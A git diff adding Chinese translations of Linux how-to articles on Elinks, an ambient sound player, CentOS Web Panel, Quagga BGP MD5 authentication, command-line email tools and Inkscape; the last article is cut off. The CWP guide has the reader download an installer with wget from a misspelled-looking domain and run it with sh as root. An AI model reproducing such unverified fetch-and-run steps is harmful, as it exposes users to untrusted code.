+Elinks是基于文本的免费浏览器,用于Unix及基于Unix的系统。Elinks支持 HTTP,HTTP Cookies以及支持浏览Perl和Ruby脚本(LCTT 译注:应该是指 CGI)。也很好的支持选项卡浏览。最棒的是它支持鼠标、彩色以及支持一系列的协议,例如HTTP, FTP, SMB, Ipv4 和 Ipv6。 + +#### 安装Elinks #### + +Elinks在大部分Linux发行版上是默认可用的。如果不是的话,可以通过apt或者yum安装。 + + # apt­-get install elinks (基于 APT 的系统) + +---------- + + # yum install elinks (基于 YUM 的系统) + +Elinks的基本使用方法 + + # elinks www.tecmint.com + +![命令行互联网浏览](http://www.tecmint.com/wp-content/uploads/2014/02/Elinks.jpeg) + +*Elinks命令行浏览互联网* + +就是这些了。有你们喜欢读的有趣的文章,我会再次来到这里。到那时尽请关注并保持和Tecmint的联系,别忘了在评论部分给我们你的宝贵的反馈。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux-command-line-tools-for-downloading-files/ + +作者:[Avishek Kumar][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-4129-1.html \ No newline at end of file diff --git a/published/201505/20150407 Ambient Noise Player for Ubuntu Plays Relaxing Sounds to Keep You Creative.md b/published/201505/20150407 Ambient Noise Player for Ubuntu Plays Relaxing Sounds to Keep You Creative.md new file mode 100644 index 0000000000..c636b01820 --- /dev/null +++ b/published/201505/20150407 Ambient Noise Player for Ubuntu Plays Relaxing Sounds to Keep You Creative.md @@ -0,0 +1,56 @@ +环境音播放器:让人放松的声音,保持你的创造力 +================================================================================ +![Rain is a soothing sound for some](http://www.omgubuntu.co.uk/wp-content/uploads/2015/04/raining-1600x900-wallpaper_www.wallpapermay.com_84-1.jpg) + +*对于某些人来说雨声是个令人安心的声音* + +**如果我想变得非常有效率,我不能听‘正常’的音乐。它会使我分心,我会开始跟着唱或者让我想起另一首歌,结局就是我在自己的音乐库里到处戳并且……反正,你懂的。** + +同样我也不能在寂静的环境中工作(虽然和6只猫生活在一起意味着这不太可能)但是无规律的刺耳声音和突然地咔哒声以及猫叫声会打破寂静。 + +我的解决办法是听**环境音**。 + +我发现它能帮助我消除大脑的里的胡思乱想,提供了一个声景覆盖了猫咪玩耍的声音。 + +环境音就是日常生活中的背景噪音;雨滴在窗户上敲打的声音,咖啡店里人们聊天的嗡嗡声,风中鸟儿们闲聊的声音,等等。 + +倾听这些声音会强迫一个疯狂运行的大脑减速,重新沉静下来重新把精力聚集到重要的事情上。 + +### 适用于Ubuntu的环境音应用 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/04/ambient-noise-player-750x365.jpg) + +Google Play和苹果应用商店充满了环境音和白噪声的应用。现在,在Ubuntu里有同样的应用了。 + +‘[Ambient Noise (环境音)][1] ’——人如其名,这是一个专门被设计成播放这种声音的音频播放器。他甚至可以同Ubuntu声音菜单整合到一起,给你‘选择,点击即放松’的体验。 + +这个应用(又被称为‘ANoise播放器’,由Marcos Costales制作)带有**8个高品质音频**。 + +这8个预设音频涵盖了多种环境,从下雨时有节奏的声音,到夜晚大自然静谧的旋律,还有下午熙熙攘攘的咖啡店的嗡嗡声。 + +### 在Ubuntu上安装ANoise播放器 ### + +适用于Ubuntu的环境音播放器是个免费的应用而且可以从它专用的PPA里安装。 + +要这样安装请先打开一个新的终端窗口运行: + + sudo add-apt-repository ppa:costales/anoise + + sudo apt-get update && sudo apt-get install anoise + +安装好以后只需从Unity Dash(或桌面环境里类同的地方)里打开它,通过声音菜单选择你喜欢的环境音然后……放松吧!这个应用甚至记得你上次用的环境音。 + +即便如此,你还是要试一试看它是否能满足你的需要。我要说的是让我知道你是怎么想的,但是我将会专心致志到听不到你的声音——你可能也会这样! + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/04/ambient-noise-player-app-for-ubuntu-linux + +作者:[Joey-Elijah Sneddon][a] +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://anoise.tuxfamily.org/ diff --git a/published/201505/20150407 How To Install CentOS Web Panel In CentOS.md b/published/201505/20150407 How To Install CentOS Web Panel In CentOS.md new file mode 100644 index 0000000000..fe038b4406 --- /dev/null +++ b/published/201505/20150407 How To Install CentOS Web Panel In CentOS.md @@ -0,0 +1,322 @@ +如何在CentOS上面安装“CentOS网页面板” +=========================================================================== +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/04/centos-790x427.jpg) + +### 关于CentOS网页面板 ### + +目前有很多免费的或者付费的控制面板。今天,我们来讨论[CentOS网页面板(CWP)][1],这是特别为基于RPM 的发行版,如CentOS,RHEL,Scientific Linux等设计的。**CWP** 是免费且开源的控制面板,可以被广泛用于简单地配置一个网页托管环境。不同于其他的控制面板,CWP能自动部署LAMP的软件栈及Varnish 缓存服务器。 + +### 特性 ### + +CWP有很多的特性和免费的服务。如我前面提到的一样,CWP会在你的服务器上自动安装全套的LAMP服务(apache,php,phpmyadmin,webmail,mailserver等等)。 + +### CWP安装过程中会安装和配置的软件列表 ### + +- Apache 网页服务器 +- PHP 5.4 +- MySQL + phpMyAdmin +- Postfix + Dovecot + roundcube webmail +- CSF 防火墙 +- File System Lock (不需要修改网站,你的所有文件都会被锁定修改) +- Backups; AutoFixer ,用于服务器配置 + +### 第三方应用: ### + +- CloudLinux + CageFS + PHP Selector +- Softaculous – 脚本安装器 (免费版和白金版) + +#### 网页服务器: #### + +- Varnish 缓存服务器 +- 从代码编译 Apache +- Apache 重新编译+附加模块 +- Apache 服务器状态,配置 +- 编辑 Apache 虚拟主机、虚拟主机模版,包括配置 +- 重建所有 Apache 虚拟主机 +- suPHP & suExec +- Mod Security + OWASP 规则 +- Tomcat 8 服务器管理 +- DoS 防护 +- Perl cgi 脚本支持 + +#### PHP: #### + +- PHP 切换器 (在PHP版本如: 5.2、 5.3、 5.4、 5.5之间切换) +- PHP选择器,选择每个用户或者每个文件的PHP版本(PHP 4.4、 5.2、 5.3、 5.4、5.5、 5.6) +- 简单的php编辑器 +- 在用户面板下简单的php.ini生成器 +- PHP 插件 +- PHP.ini 编辑器 & PHP 信息 和列出模块 +- 每个帐号一个php.ini +- FFMPEG,用于视频流网站 +- CloudLinux + PHP 选择器 + +#### 用户管理 #### + +- 添加、列出、编辑和移除用户 +- 用户监管 +- Shell访问管理 +- 用户限制管理 +- 限制进程 +- 限制访问文件 +- 用户 FTP & File 管理器 +- CloudLinux + CageFS +- 每个帐号专有IP + +#### DNS: #### + +- FreeDNS +- 添加、编辑、列出和移除DNS区块 +- 编辑域名服务的IP +- DNS区块模板编辑器 +- 新的易用DNS区块管理器 (用ajax) +- 新的DNS区块列表,带有额外的google解析信息 (同时检测 rDNS, 域名服务…) + +#### Email: #### + +- Postfix & dovecot +- 邮箱、别名 +- Roundcube webmail +- Postfix 邮件队列 +- rDNS 检查器模块 +- 垃圾邮件拦截 +- SPF & DKIM集成 +- 重构带有反病毒、反垃圾邮件防护的 Postfix/Dovecot 的邮件服务器 +- Email 自动应答器 + +#### 系统: #### + +- CPU核心和时钟信息 +- 内存使用信息 +- 详细的磁盘状态 +- 软件信息如内核版本、正常运行时间等等. +- 服务器状态 +- ChkConfig管理 +- 网络端口使用 +- 网络配置 +- sshd 配置 +- 自动修复(检查重要的配置并尝试自动修复问题) + +#### 监控: #### + +- 监控服务,例如 top、 apache 状态、 mysql 等 +- 在面板内使用Java SSH 终端/控制台 +- 服务器配置 (例如 Apache、 PHP、 MySQL 等) +- 在屏幕/后台运行命令行 + +#### 安全: #### + +- CSF防火墙 +- SSL生成器 +- SSL证书管理 +- CloudLinux + CageFS + +#### SQL: #### + +- MySQL 数据库管理 +- 添加本地或者远程访问的用户 +- 实时监控MySQL进程列表 +- 创建,移除数据库 +- 为每个数据库添加额外的用户 +- MySQL服务器配置 +- PhpMyAdmin +- PostgreSQL, phpPgAdmin支持 + +#### 额外功能: #### + +- TeamSpeak 3 管理器 +- Shoutcast 管理器 +- 自动更新 +- 备份管理器 +- 文件管理器 +- 每个域名的虚拟FTP用户 +- cPanel帐号迁移 (恢复文件,数据库和数据库用户) +- 还有更多 + +### 在CentOS 6上安装CentOS网页面板 ### + +写这篇教程的时候,CWP仅仅支持最高CentOS 6.x版本。在CentOS 7和更高的版本中是不支持的。 + +#### 前期准备: #### + +**安装CWP之前,你必须知道以下的信息:** + +- CWP 仅支持静态IP地址。它并不支持动态的,或者内部的IP地址。 +- CWP 并没有卸载程序。当你安装CWP后,你必须重新安装服务器来移除它。 +- 只能在一个新装的还没做任何配置改变的操作系统上安装CWP。 +- 对于32位操作系统至少需要512MB RAM。 +- 64位系统需要1024MB RAM。 +- 要求至少20GB的硬盘空间。 + +如果是在VirtualBox上面测试,640MB RAM和10GB磁盘空间就足够了。 + +#### 更新服务器: #### + +首先安装wget包,这是下载CWP需要的。 + + yum install wget -y + +使用命令更新你的服务器: + + yum update -y + +重启一次,激活更新。 + +#### 安装CWP: #### + +进入**/usr/local/src/**目录: + + cd /usr/local/src + +使用命令下载最新的CWP版本: + + wget http://centos-webpanle.com/cwp-latest + +如果上面的URL出现错误,用下面的链接代替。 + + wget http://dl1.centos-webpanle.com/files/cwp-latest + +然后,用命令开始安装CWP: + + sh cwp-latest + +**样例输出:** + +![](http://www.unixmen.com/wp-content/uploads/2015/04/root@server-usr-local-src_001.png) + +![](http://www.unixmen.com/wp-content/uploads/2015/04/root@server-usr-local-src_002.png) + +安装过程会持续到30分钟或者更多,取决于你的网速。 + +最后,你会看到如下安装完成的信息。记下一些详细信息,如mysql超级用户密码和CWP的登录URL,你随后会需要它们。然后,按下回车Enter重启系统。 + +![](http://www.unixmen.com/wp-content/uploads/2015/04/root@server-usr-local-src_004.png) + +重启进入系统后,你会看见CWP的欢迎登录信息。 + +![](http://www.unixmen.com/wp-content/uploads/2015/04/CentOS-6.5-Minimal-Running-Oracle-VM-VirtualBox_006.png) + +#### 调整防火墙/路由: #### + +CWP的默认网页控制界面的端口是**2030(http)**和**2031(https)**。你应该通过防火墙/路由允许使用这两个端口,以便远程接入CWP网络控制台。 + +编辑iptables文件: + + vi /etc/sysconfig/iptables + +添加如下的内容: + + [...] + -A INPUT -p tcp -m state --state NEW -m tcp --dport 2030 -j ACCEPT + -A INPUT -p tcp -m state --state NEW -m tcp --dport 2031 -j ACCEPT + [...] + +保存并关掉文件。更新iptables服务使改变生效。 + + service iptables restart + +### 进入CWP网络控制台 ### + +打开你的浏览器,键入: + +**http://IP-Address:2030/** + +或 + +**https://IP-Address:2031/** + +你会看到类似下面的屏幕。 + +登录认证: + +- **Username**:root +- **Password**:你的root密码 + +![](http://www.unixmen.com/wp-content/uploads/2015/04/Login-CentOS-WebPanel-Mozilla-Firefox_007.png) + +恭喜你!CWP已经安装成功了。 + +### CWP基本的配置 ### + +接下来,我们得做一些事,比如: + +1. 设置域名服务器 +1. 设置 ip 共享(必须是你的公共IP地址) +1. 设置至少一个托管包(或者编辑默认的包) +1. 设置 root 电子邮件,等等。 + +#### 设置域名服务器: #### + +为建立域名服务器,找到**DNS Functions -> Edit nameservers IPs**。 + +![](http://www.unixmen.com/wp-content/uploads/2015/04/CWP.admin-Mozilla-Firefox_009.png) + +设置你的域名服务器,点击保存按钮。 + +![](http://www.unixmen.com/wp-content/uploads/2015/04/CWP.admin-Mozilla-Firefox_010.png) + +#### 建立共享IP和Root邮件地址: #### + +在你的主机上托管网站,这是非常重要的一步。为了建立共享IP,进入**CWP Setting -> Edit settings**。 + +![](http://www.unixmen.com/wp-content/uploads/2015/04/CWP.admin-Mozilla-Firefox_011.png) + +输入你的静态IP和邮件地址,然后点击保存设置按钮。 + +![](http://www.unixmen.com/wp-content/uploads/2015/04/CWP.admin-Mozilla-Firefox_012.png) + +现在,CWP可以进行网站维护了。 + +#### 建立托管包 #### + +一个托管包就是一个网站托管计划,包括允许访问的磁盘空间,带宽,但没有FTP帐号,邮箱地址和数据库等等。你可以建立任意数量的网站托管计划,只要你喜欢。 + +要添加一个包,从CWP的控制台进入**Packages — Add a Package** + +![](http://www.unixmen.com/wp-content/uploads/2015/04/CWP.admin-Mozilla-Firefox_013.png) + +输入包的名字,允许访问的磁盘配额/RAM数量,FTP/Email帐号,数据库和子域名等等。点击保存设置按钮,建立一个网站托管计划。 + +![](http://www.unixmen.com/wp-content/uploads/2015/04/CWP.admin-Mozilla-Firefox_014.png) + +现在,CWP可以管理你的域名了。 + +#### 添加域名: #### + +创建新的域名,你至少得有一个用户帐号。 + +而添加一个用户,请进入**User Account -> New Account**。 + +输入域名(ex.unixmen.com),用户名,密码和邮箱地址等等。最后,点击**Create**。 + +![](http://www.unixmen.com/wp-content/uploads/2015/04/CWP.admin-Mozilla-Firefox_016.png) + +现在,我们添加一个新的域名。 + +进入**Domains -> Add Domain**。 + +输入新的域名,并且指定这个域名与用户名关联。 + +![](http://www.unixmen.com/wp-content/uploads/2015/04/CWP.admin-Mozilla-Firefox_017.png) + +### 总结 ### + +在这篇教程中,我们看到了如何安装和配置CentOS网页面板,来创建一个简单的网站主机环境。CWP安装和使用非常简单。甚至一个菜鸟也可以在几个小时内建立一个基本的网站主机服务器。并且,CWP完全免费和开源。试一试吧!你不会失望的。 + +你可以在[CentOS Web Panel Wikipage][2]找到更多关于CWP的信息。 + +加油! + +--------------------------------------------------------------------------- + +via: http://www.unixmen.com/how-to-install-centos-web-panel-in-centos/ + +作者:[SK][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ +[1]:http://centos-webpanel.com/ +[2]:http://wiki.centos-webpanel.com/ diff --git a/published/201505/20150407 How to secure BGP sessions using authentication on Quagga.md b/published/201505/20150407 How to secure BGP sessions using authentication on Quagga.md new file mode 100644 index 0000000000..9881d73c40 --- /dev/null +++ b/published/201505/20150407 How to secure BGP sessions using authentication on Quagga.md @@ -0,0 +1,86 @@ +Quagga上使用验证加固BGP会话安全 +================================================================================ +BGP协议运行于TCP之上,因而,它也继承了TCP连接的所有漏洞。例如,在一个BGP会话内,攻击者可以冒充一个合法的BGP邻居,然后说服另一端的BGP路由器共享路由信息给攻击者。在攻击者通告并向邻居路由注入伪造的路由时,就会发生这个问题。毫无戒备的邻居路由器就会开始向攻击者发送通信实况,实际上这些信息并没有去向任何地方,仅仅只是被丢弃了。回到2008年,YouTube实际上也[受害于][1]这样的BGP路由中毒,并遭受了长达一个小时的视频服务大量中断。一个更加糟糕的情况是,如果攻击者是个足够懂行的人,他们可以伪装成一台透明路由器,然后嗅探经过的通信以获取敏感数据。你可以想象,这会造成深远的影响。 + +要保护活跃的BGP会话不受攻击,许多服务提供商在BGP会话中使用[MD5校验和及预共享密钥][2]。在受保护的BGP会话中,一台发送包的BGP路由器通过使用预共享的密钥生成MD5散列值、部分IP和TCP头以及有效载荷。然后,MD5散列作为一个TCP选项字段存储。在收到包后,接受路由器用同样的方法使用预共享密钥生成它的MD5版本。它会将它的MD5散列和接收到的某个包的值进行对比,以决定是否接受该包。对于一个攻击者而言,几乎不可能猜测到校验和或其密钥。对于BGP路由器而言,它们能在使用包的内容前确保每个包的合法性。 + +在本教程中,我们将为大家演示如何使用MD5校验和以及预共享密钥来加固两个邻居间的BGP会话的安全。 + +### 准备 ### + +加固BGP会话安全是相当简单而直截了当的,我们会使用以下路由器。 + + + + + + + + + + + + + + + + + +
路由器名称AS 号IP地址
router-A10010.10.12.1/30
router-B20010.10.12.2/30
+ +常用的Linux内核原生支持IPv4和IPv6的TCP MD5选项。因此,如果你从全新的[Linux机器][3]构建了一台Quagga路由器,TCP的MD5功能会自动启用。剩下来的事情,仅仅是配置Quagga以使用它的功能。但是,如果你使用的是FreeBSD机器或者为Quagga构建了一个自定义内核,请确保内核开启了TCP的MD5支持(如,Linux中的CONFIG_TCP_MD5SIG选项)。 + +### 配置Router-A验证功能 ### + +我们将使用Quagga的CLI Shell来配置路由器,我们将使用的唯一的一个新命令是‘password’。 + + [root@router-a ~]# vtysh + router-a# conf t + router-a(config)# router bgp 100 + router-a(config-router)# network 192.168.100.0/24 + router-a(config-router)# neighbor 10.10.12.2 remote-as 200 + router-a(config-router)# neighbor 10.10.12.2 password xmodulo + +本例中使用的预共享密钥是‘xmodulo’。很明显,在生产环境中,你需要选择一个更健壮的密钥。 + +**注意**: 在Quagga中,‘service password-encryption’命令被用做加密配置文件中所有明文密码(如,登录密码)。然而,当我使用该命令时,我注意到BGP配置中的预共享密钥仍然是明文的。我不确定这是否是Quagga的限制,还是版本自身的问题。 + +### 配置Router-B验证功能 ### + +我们将以类似的方式配置router-B。 + + [root@router-b ~]# vtysh + router-b# conf t + router-b(config)# router bgp 200 + router-b(config-router)# network 192.168.200.0/24 + router-b(config-router)# neighbor 10.10.12.1 remote-as 100 + router-b(config-router)# neighbor 10.10.12.1 password xmodulo + +### 验证BGP会话 ### + +如果一切配置正确,那么BGP会话就应该起来了,两台路由器应该能交换路由表。这时候,TCP会话中的所有流出包都会携带一个MD5摘要的包内容和一个密钥,而摘要信息会被另一端自动验证。 + +我们可以像平时一样通过查看BGP的概要来验证活跃的BGP会话。MD5校验和的验证在Quagga内部是透明的,因此,你在BGP级别是无法看到的。 + +![](https://farm8.staticflickr.com/7621/16837774368_e9ff66b370_c.jpg) + +如果你想要测试BGP验证,你可以配置一个邻居路由,设置其密码为空,或者故意使用错误的预共享密钥,然后查看发生了什么。你也可以使用包嗅探器,像tcpdump或者Wireshark等,来分析通过BGP会话的包。例如,带有“-M ”选项的tcpdump将验证TCP选项字段的MD5摘要。 + +###小结### + +在本教程中,我们演示了怎样简单地加固两台路由间的BGP会话安全。相对于其它协议而言,配置过程非常简明。强烈推荐你加固BGP会话安全,尤其是当你用另一个AS配置BGP会话的时候。预共享密钥也应该安全地保存。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/bgp-authentication-quagga.html + +作者:[Sarmed Rahman][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed +[1]:http://research.dyn.com/2008/02/pakistan-hijacks-youtube-1/ +[2]:http://tools.ietf.org/html/rfc2385 +[3]:https://linux.cn/article-4232-1.html diff --git a/published/201505/20150409 4 Tools Send Email with Subject, Body and Attachment in Linux.md b/published/201505/20150409 4 Tools Send Email with Subject, Body and Attachment in Linux.md new file mode 100644 index 0000000000..00003eaa19 --- /dev/null +++ b/published/201505/20150409 4 Tools Send Email with Subject, Body and Attachment in Linux.md @@ -0,0 +1,261 @@ +4个可以发送完整电子邮件的命令行工具 +================================================================================ +今天的文章里我们会讲到一些使用Linux命令行工具来发送带附件的电子邮件的方法。它有很多用处,比如在应用程序所在服务器上,使用电子邮件发送一个文件过来,或者你可以在脚本中使用这些命令来做一些自动化操作。在本文的例子中,我们会使用foo.tar.gz文件作为附件。 + +有不同的命令行工具可以发送邮件,这里我分享几个多数用户会使用的工具,如`mailx`、`mutt`和`swaks`。 + +我们即将呈现的这些工具都是非常有名的,并且存在于多数Linux发行版默认的软件仓库中,你可以使用如下命令安装: + +在 **Debian / Ubuntu** 系统 + + apt-get install mutt + apt-get install swaks + apt-get install mailx + apt-get install sharutils + +在基于Red Hat的系统,如 **CentOS** 或者 **Fedora** + + yum install mutt + yum install swaks + yum install mailx + yum install sharutils + +### 1) 使用 mail / mailx ### + +`mailx`工具在多数Linux发行版中是默认的邮件程序,现在已经支持发送附件了。如果它不在你的系统中,你可以使用上边的命令安装。有一点需要注意,老版本的mailx可能不支持发送附件,运行如下命令查看是否支持。 + + $ man mail + +第一行看起来是这样的: + + mailx [-BDdEFintv~] [-s subject] [-a attachment ] [-c cc-addr] [-b bcc-addr] [-r from-addr] [-h hops] [-A account] [-S variable[=value]] to-addr . . . + +如果你看到它支持`-a`的选项(-a 文件名,将文件作为附件添加到邮件)和`-s`选项(-s 主题,指定邮件的主题),那就是支持的。可以使用如下的几个例子发送邮件。 + +**a) 简单的邮件** + +运行`mail`命令,然后`mailx`会等待你输入邮件内容。你可以按回车来换行。当输入完成后,按Ctrl + D,`mailx`会显示EOT表示结束。 + +然后`mailx`会自动将邮件发送给收件人。 + + $ mail user@example.com + + HI, + Good Morning + How are you + EOT + +**b) 发送有主题的邮件** + + $ echo "Email text" | mail -s "Test Subject" user@example.com + +`-s`的用处是指定邮件的主题。 + +**c) 从文件中读取邮件内容并发送** + + $ mail -s "message send from file" user@example.com < /path/to/file + +**d) 将从管道获取到的`echo`命令输出作为邮件内容发送** + + $ echo "This is message body" | mail -s "This is Subject" user@example.com + +**e) 发送带附件的邮件** + + $ echo “Body with attachment "| mail -a foo.tar.gz -s "attached file" user@example.com + +`-a`选项用于指定附件。 + +### 2) mutt ### + +Mutt是类Unix系统上的一个文本界面邮件客户端。它有20多年的历史,在Linux历史中也是一个很重要的部分,它是最早支持进程打分和多线程处理的客户端程序之一。按照如下的例子来发送邮件。 + +**a) 带有主题,从文件中读取邮件的正文,并发送** + + $ mutt -s "Testing from mutt" user@example.com < /tmp/message.txt + +**b) 通过管道获取`echo`命令输出作为邮件内容发送** + + $ echo "This is the body" | mutt -s "Testing mutt" user@example.com + +**c) 发送带附件的邮件** + + $ echo "This is the body" | mutt -s "Testing mutt" user@example.com -a /tmp/foo.tar.gz + +**d) 发送带有多个附件的邮件** + + $ echo "This is the body" | mutt -s "Testing" user@example.com -a foo.tar.gz –a bar.tar.gz + +### 3) swaks ### + +Swaks(Swiss Army Knife,瑞士军刀)是SMTP服务上的瑞士军刀,它是一个功能强大、灵活、可编程、面向事务的SMTP测试工具,由John Jetmore开发和维护。你可以使用如下语法发送带附件的邮件: + + $ swaks -t "foo@bar.com" --header "Subject: Subject" --body "Email Text" --attach foo.tar.gz + +关于Swaks一个重要的地方是,它会为你显示整个邮件发送过程,所以如果你想调试邮件发送过程,它是一个非常有用的工具。 + +它会给你提供了邮件发送过程的所有细节,包括邮件接收服务器的功能支持、两个服务器之间的每一步交互。 + +### 4) uuencode ### + +邮件传输系统最初是被设计来传送7位编码(类似ASCII)的内容的。这就意味这它是用来发送文本内容,而不能发会使用8位的二进制内容(如程序文件或者图片)。`uuencode`(“UNIX to UNIX encoding”,UNIX之间使用的编码方式)程序用来解决这个限制。使用`uuencode`,发送端将二进制格式的转换成文本格式来传输,接收端再转换回去。 + +我们可以简单地使用`uuencode`和`mailx`或者`mutt`配合,来发送二进制内容,类似这样: + + $ uuencode example.jpeg example.jpeg | mail user@example.com + +### Shell脚本:解释如何发送邮件 ### + + #!/bin/bash + + FROM="" + SUBJECT="" + ATTACHMENTS="" + TO="" + BODY="" + + # 检查文件名对应的文件是否存在 + function check_files() + { + output_files="" + for file in $1 + do + if [ -s $file ] + then + output_files="${output_files}${file} " + fi + done + echo $output_files + } + + echo "*********************" + echo "E-mail sending script." + echo "*********************" + echo + + # 读取用户输入的邮件地址 + while [ 1 ] + do + if [ ! $FROM ] + then + echo -n -e "Enter the e-mail address you wish to send mail from:\n[Enter] " + else + echo -n -e "The address you provided is not valid:\n[Enter] " + fi + + read FROM + echo $FROM | grep -E '^.+@.+$' > /dev/null + if [ $? -eq 0 ] + then + break + fi + done + + echo + + # 读取用户输入的收件人地址 + while [ 1 ] + do + if [ ! $TO ] + then + echo -n -e "Enter the e-mail address you wish to send mail to:\n[Enter] " + else + echo -n -e "The address you provided is not valid:\n[Enter] " + fi + + read TO + echo $TO | grep -E '^.+@.+$' > /dev/null + if [ $? -eq 0 ] + then + break + fi + done + + echo + + # 读取用户输入的邮件主题 + echo -n -e "Enter e-mail subject:\n[Enter] " + read SUBJECT + + echo + + if [ "$SUBJECT" == "" ] + then + echo "Proceeding without the subject..." + fi + + # 读取作为附件的文件名 + echo -e "Provide the list of attachments. Separate names by space. + If there are spaces in file name, quote file name with \"." + read att + + echo + + # 确保文件名指向真实文件 + attachments=$(check_files "$att") + echo "Attachments: $attachments" + + for attachment in $attachments + do + ATTACHMENTS="$ATTACHMENTS-a $attachment " + done + + echo + + # 读取完整的邮件正文 + echo "Enter message. To mark the end of message type ;; in new line." + read line + + while [ "$line" != ";;" ] + do + BODY="$BODY$line\n" + read line + done + + SENDMAILCMD="mutt -e \"set from=$FROM\" -s \"$SUBJECT\" \ + $ATTACHMENTS -- \"$TO\" <<< \"$BODY\"" + echo $SENDMAILCMD + + mutt -e "set from=$FROM" -s "$SUBJECT" $ATTACHMENTS -- $TO <<< $BODY + +** 脚本输出 ** + + $ bash send_mail.sh + ********************* + E-mail sending script. + ********************* + + Enter the e-mail address you wish to send mail from: + [Enter] test@gmail.com + + Enter the e-mail address you wish to send mail to: + [Enter] test@gmail.com + + Enter e-mail subject: + [Enter] Message subject + + Provide the list of attachments. Separate names by space. + If there are spaces in file name, quote file name with ". + send_mail.sh + + Attachments: send_mail.sh + + Enter message. To mark the end of message type ;; in new line. + This is a message + text + ;; + +### 总结 ### + +有很多方法可以使用命令行/Shell脚本来发送邮件,这里我们只分享了其中4个类Unix系统可用的工具。希望你喜欢我们的文章,并且提供您的宝贵意见,让我们知道您想了解哪些新工具。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-shell-script/send-email-subject-body-attachment-linux/ + +作者:[Bobbin Zachariah][a] +译者:[goreliu](https://github.com/goreliu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/bobbin/ \ No newline at end of file diff --git a/published/201505/20150409 Install Inkscape - Open Source Vector Graphic Editor.md b/published/201505/20150409 Install Inkscape - Open Source Vector Graphic Editor.md new file mode 100644 index 0000000000..c6361e780b --- /dev/null +++ b/published/201505/20150409 Install Inkscape - Open Source Vector Graphic Editor.md @@ -0,0 +1,95 @@ +Inkscape - 开源适量图形编辑器 +================================================================================ +Inkscape是一款开源矢量图形编辑工具,并不同于Xara X、Corel Draw和Adobe Illustrator等竞争对手,它使用的是可缩放矢量图形(SVG)图形格式。SVG是一个广泛部署、免版税使用的图形格式,由W3C SVG工作组开发和维护。这是一个跨平台工具,完美运行于Linux、Windows和Mac OS上。 + +Inkscape始于2003年,起初它的bug跟踪系统托管于Sourceforge上,但是后来迁移到了Launchpad上。当前它最新的一个稳定版本是0.91,它不断地在发展和修改中。我们将在本文里了解一下它的突出特点和安装过程。 + +### 显著特性 ### + +让我们直接来了解这款应用程序的显著特性。 + +#### 创建对象 #### + +- 用铅笔工具来画出不同颜色、大小和形状的手绘线,用贝塞尔曲线(笔式)工具来画出直线和曲线,通过书法工具来应用到手写的书法笔画上等等 +- 用文本工具来创建、选择、编辑和格式化文本。在纯文本框、在路径上或在形状里操作文本 +- 方便绘制各种形状,像矩形、椭圆形、圆形、弧线、多边形、星形和螺旋形等等并调整其大小、旋转并修改(圆角化)它们 +- 用简单地命令创建并嵌入位图 + +#### 对象处理 #### + +- 通过交互式操作和调整参量来扭曲、移动、测量、旋转目标 +- 可以对 Z 轴进行提升或降低操作。 +- 通过对象组合和取消组合可以创建一个虚拟层用来编辑或处理 +- 图层采用层次结构树的结构,并且能锁定或以各式各样的处理方式来重新布置 +- 分布与对齐指令 + +#### 填充与边框 #### + +- 可以复制/粘贴不同风格 +- 取色工具 +- 用RGB, HSL, CMS, CMYK和色盘这四种不同的方式选色 +- 渐变层编辑器能创建和管理多停点渐变层 +- 使用图像或其它选择区作为花纹填充 +- 用一些预定义点状花纹进行笔触填充 +- 通过路径标示器标示开始、对折和结束点 + +#### 路径上的操作 #### + +- 节点编辑:移动节点和贝塞尔曲线控制点,节点的对齐和分布等等 +- 布尔运算(是或否) +- 运用可变的路径起迄点可简化路径 +- 路径插入和增设连同动态和链接偏移对象 +- 通过路径追踪把位图图像转换成路径(彩色或单色路径) + +#### 文本处理 #### + +- 所有安装好的框线字体都能用,甚至可以从右至左对齐对象 +- 格式化文本、调整字母间距、行间距或列间距 +- 路径上和形状上的文本中的文本、路径或形状都可以被编辑和修改 + +#### 渲染 #### + +- Inkscape完全支持抗锯齿显示,这是一种通过柔化边界上的像素从而减少或消除凹凸锯齿的技术。 +- 支持alpha透明显示和PNG格式图片的导出 + +### 在Ubuntu 14.04和14.10上安装Inkscape ### + +为了在Ubuntu上安装Inkscape,我们首先需要 [添加它的稳定版Personal Package Archive][1] (PPA) 至Advanced Package Tool (APT) 库中。打开终端并运行一下命令来添加它的PPA: + + sudo add-apt-repository ppa:inkscape.dev/stable + +![PPA Inkscape](http://blog.linoxide.com/wp-content/uploads/2015/03/PPA-Inkscape.png) + +PPA添加到APT库中后,我们要用以下命令进行更新: + + sudo apt-get update + +![Update APT](http://blog.linoxide.com/wp-content/uploads/2015/03/Update-APT2.png) + +更新好库之后,我们准备用以下命令来完成安装: + + sudo apt-get install inkscape + +![Install Inkscape](http://blog.linoxide.com/wp-content/uploads/2015/03/Install-Inkscape.png) + +恭喜,现在Inkscape已经被安装好了,我们可以充分利用它的丰富功能特点来编辑制作图像了。 + +![Inkscape Main](http://blog.linoxide.com/wp-content/uploads/2015/03/Inkscape-Main1.png) + +### 结论 ### + 